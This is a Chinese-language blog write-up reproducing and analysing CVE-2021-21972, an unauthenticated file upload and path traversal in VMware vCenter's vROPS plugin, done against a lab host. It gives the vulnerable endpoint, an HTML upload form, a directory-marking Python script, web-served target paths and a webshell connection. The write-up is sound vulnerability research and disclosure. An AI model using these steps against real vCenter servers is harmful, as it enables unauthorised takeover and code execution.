CVE-2021-21972 Vmware vcenter未授权任意文件上传
2021-03-05 15:37:54 Author: www.secpulse.com(查看原文) 阅读量:279 收藏

 漏洞简介  

vSphere 是 VMware 推出的虚拟化平台套件,包含 ESXi、vCenter Server 等一系列的软件。其中 vCenter Server 为 ESXi 的控制中心,可从单一控制点统一管理数据中心的所有 vSphere 主机和虚拟机,使得 IT 管理员能够提高控制能力,简化入场任务,并降低 IT 环境的管理复杂性与成本。

vSphere Client(HTML5)在 vCenter Server 插件中存在一个远程执行代码漏洞。未授权的攻击者可以通过开放 443 端口的服务器向 vCenter Server 发送精心构造的请求,从而在服务器上写入 webshell,最终造成远程任意代码执行。

影响版本

vmware:vcenter_server 7.0 U1c 之前的 7.0 版本  

vmware:vcenter_server 6.7 U3l 之前的 6.7 版本  

vmware:vcenter_server 6.5 U3n 之前的 6.5 版本  

环境搭建

链接:https://pan.baidu.com/s/1RPCJCVdNnBmB3KGMXjTnIg   

提取码:7nmo    

复制这段内容后打开百度网盘手机App,操作更方便哦  

看了网上的很多分析文章,照着其操作,安装成功之后,去访问应该存在漏洞的位置,却总是返回401信息。感谢@null师傅,给我分享 VMware-VIM-all-6.7.0-14836122,在我复现分析的时候提供了超大的帮助。

漏洞复现

首先通过访问路径 `https://192.168.198.131/ui/vropspluginui/rest/services/uploadova`  判断当前的 vCenter Server 是否存在漏洞

20210302142503.png

返回信息为 405,请求方法有误,证实存在这个上传的接口,通过构造上传表单

<form id="exp" method="post" enctype="multipart/form-data">
<p>target url > <input id="url" type="text" style="width: 300px"></p>
<p>shell file > <input type="file" name="uploadFile"></p>
<p><input type="submit" value="Submit" onclick="exp.action=url.value"></p>
</form>

利用 python 脚本 https://github.com/ptoomey3/evilarc/blob/master/evilarc.py 构造恶意 tar 包   

20210302161401.png

20210302161521.png

20210302163514.png

20210302163628.png

目前已经可以实现任意文件的上传,为了能直接拿到 shell 所以我们还需要找一个前端页面能显示出的位置,将 shell 上传到那。

os:因为我并不清楚应该将 shell 上传到某个位置才能在前端页面显示出来,于是我想着在所有的文件夹之下都生成一个 1.txt,这个 1.txt 里面存储着当前对应的路径位置,然后在前端进行扫描,查看 1.txt 的信息,就可以快速定位要上传的位置。

import os
for root,dirs,files in os.walk(r"C:\ProgramData"):
        for dir in dirs:
            #获取目录的名称
            print(dir)
            #获取目录的路径
            print(os.path.join(root,dir))
            filename =os.path.join(root,dir)+'\\1.txt'
            try:
                with open(filename, 'w') as file_object:
                    file_object.write(os.path.join(root,dir))
            except:
                pass
            continue

20210303104059.png

20210303110928.png

>C:\ProgramData\VMware\vCenterServer\data\perfcharts\tc-instance\webapps\statsreport    

https://192.168.198.131/vsphere-client/1.txt 

>C:\ProgramData\VMware\vCenterServer\runtime\vsphere-client\server\work\deployer\s\global\29\container-app-war.war   

https://192.168.198.131/statsreport/1.txt

我们得到了路径之后再利用脚本生成https://github.com/ptoomey3/evilarc/blob/master/evilarc.py 恶意 tar 包

20210303105003.png

上传 tar 包,发现木马已经被解压到相对应的位置 

20210303105113.png

利用冰蝎连接木马

20210303105213.png

 漏洞分析

根据漏洞描述 `vCenter Server 的 vROPS 插件的 API 未经过鉴权,存在一些敏感接口` 直接在C盘目录下进行搜索 vrops

20210302141307.png

`C:\ProgramData\VMware\vCenterServer\cfg\vsphere-ui\vc-packages\vsphere-client-serenity\com.vmware.vrops.install-6.7.0.41000\plugins\vropsplugin-service.jar`   

在这个文件中,我们能够看到网上所提及到的上传接口路由 `/uploadova`     

`com.vmware.vropspluginui.mvc.ServicesController#uploadOvaFile`

20210302141713.png

上传之后会将传入的文件解压,并将文件名拼接到 `/tmp/unicorn_ova_di` 然后创建文件。通过在文件名中添加 `../../` 就可以实现跨目录的上传

20210303134653.png

参考文章  

[Unauthorized RCE in VMware vCenter](https://swarm.ptsecurity.com/unauth-rce-vmware/)   

[CVE-2021-21972 vCenter 6.5-7.0 RCE 漏洞分析](http://noahblog.360.cn/vcenter-6-5-7-0-rce-lou-dong-fen-xi/)

本文作者:Whippet

本文为安全脉搏专栏作者发布,转载请注明:https://www.secpulse.com/archives/154229.html


文章来源: https://www.secpulse.com/archives/154229.html
如有侵权请联系:admin#unsafe.sh